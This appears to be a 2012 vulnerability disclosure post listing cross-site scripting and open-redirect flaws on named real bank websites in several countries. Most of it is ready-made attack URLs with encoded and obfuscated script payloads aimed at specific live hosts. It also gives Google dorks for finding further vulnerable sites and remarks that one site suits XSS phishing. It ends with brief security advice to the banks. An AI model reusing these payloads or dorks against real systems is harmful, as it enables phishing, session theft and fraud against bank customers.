Various Banks Cross Site Scripting

# Title: Various Banks Cross Site Scripting
# Author: Sony and Flexxpoint
# Data: 21.03.2012
# Sony Blog: http://st2tea.blogspot.com
# Flexxpoint Blog : http://flexxpoint.blogspot.com/
# Site: http://insecurity.ro

We staged an experiment out of interest. We looked through several randomly selected websites of Worlds banks to check them for vulnerabilities. This was done rather quick even without any specialized software. The results were not surprising. We will demonstrate different bugs of the same type.

Demo:

http://www.banki.ru/bitrix/rku.php?id=829&goto=http://insecurity.ro

Good redirect in bitrix:

inurl:bitrix/rk.php


http://www.citizensbank.com/
(U.S.)

Simple (in the Search)

http://www.citizensbank.com/search/?query=Secure%20Plan%22%22%3E%3Cscript%3Ealert%28%22Cross%20Site%20Scripting%22%29%3C/script%3E

https://www.wellsfargo.com/
(U.S.)

http://codepad.org/inXkWxYw

http://www.eximb.com
(Ukraine)

http://www.eximb.com/rus/personal/everyday/internet_banking/?f=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E

http://procreditbank.bg/main/bg/index.php
(Bulgaria)

https://probanking.procreditbank.bg/regist/default.asp?password2=%22%3E%22%3E%3C/script%3E%3Cscript%3Eeval%28String.fromCharCode%2897,108,101,114,116,40,39,120,115,115,39,41%29%29%3C/script%3E

http://www.sbrf.ru
(Russia)

http://www.sbrf.ru/moscow/ru/quotes/metals/timeline/index.php?qid190=1%22%3E%22%3E%3C/script%3E%3Cscript%3Eeval%28String.fromCharCode%2897,108,101,114,116,40,39,120,115,115,39,41%29%29%3C/script%3E

http://www.vtb24.ru
(Russia)

http://www.vtb24.ru/news/Pages/nizhnij-tagil.aspx?year=2012&category=%3C/script%3E%3Cscript%3Ealert%28%22Cross%20Site%20Scripting%22%29%3C/script%3E

http://www.homecredit.ru/
(Russia)

https://online.homecredit.ru/ChatApp/login.jsp

or..

https://online.homecredit.ru/ChatApp/Chat/HtmlChatFrameSet.jsp

We have a html code injection in the chat.

http://www.mastercardpremium.ru
(Russia, but not a official site, but good for xss phishing attack)

Simple.

http://www.mastercardpremium.ru/search?phrase=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E

http://www.raiffeisen.ch/web/home_de
(Switzerland)

http://www.raiffeisen.ch/raiffeisen/internet/rb0027.nsf/fAskForDeletionFile?ReadForm&File=%22%3E%22%3E%3C/script%3E%3Cscript%3Eeval%28String.fromCharCode%2897,108,101,114,116,40,39,120,115,115,39,41%29%29%3C/script%3E

http://boerse.raiffeisen.ch/raiffeisen2/listings/intraday.jsp?listing=998089,4,1&name=SM%22%3E%22%3E%3C/script%3E%3Cscript%3Eeval%28String.fromCharCode%2897,108,101,114,116,40,39,120,115,115,39,41%29%29%3C/script%3E

http://www.uwcfs.com/
(Czech Republic)

XSS in Chat. And we can see:

http://www1.migbank.com/

https://www.msufcu.org/

Google Dorks: inurl:/phplive/message_box.php?theme=

1 bug = a lot of web sites..

https://secure.moneypolo.cz/phplive/message_box.php?theme=&l=admin&x=1&deptid=1%22%22%3E%3Cscript%3Ealert%28%22Cross%20Site%20Scripting%22%29%3C/script%3E

http://www.bcb.gob.bo/index.php
(Bolivia)
(but work only on old IE versions,and IE related browsers-Maxton,Green..etc)

http://www.bcb.gob.bo/index.php?q=%22%20stYle=%22x:expre/**/ssion%28alert%28/XSS/.source%29%29%20&combos1_1=1&combos1_2=1&combos1_3=1&combos1_4=1&combos1_5=1&combos1_6=1&combos1_7=1&combos1_8=1&combos1_9=1&subcateg1=1&Submit=Buscar

We would like to add a few words about security. There's no need to panic, perfect security just isn't possible, though we should try to come as close as possible. We would like to give a couple of advices for these banks. They should certainly pay more attention to their IT personnel's competence and discipline, spend their money not only on market research, but also on penetration testing, organize penetration testers' contests like Google and Facebook do or possible have their own staff of penetration testers. The bank personnel should be tested for their vulnerability to social engineering. These are just the basics.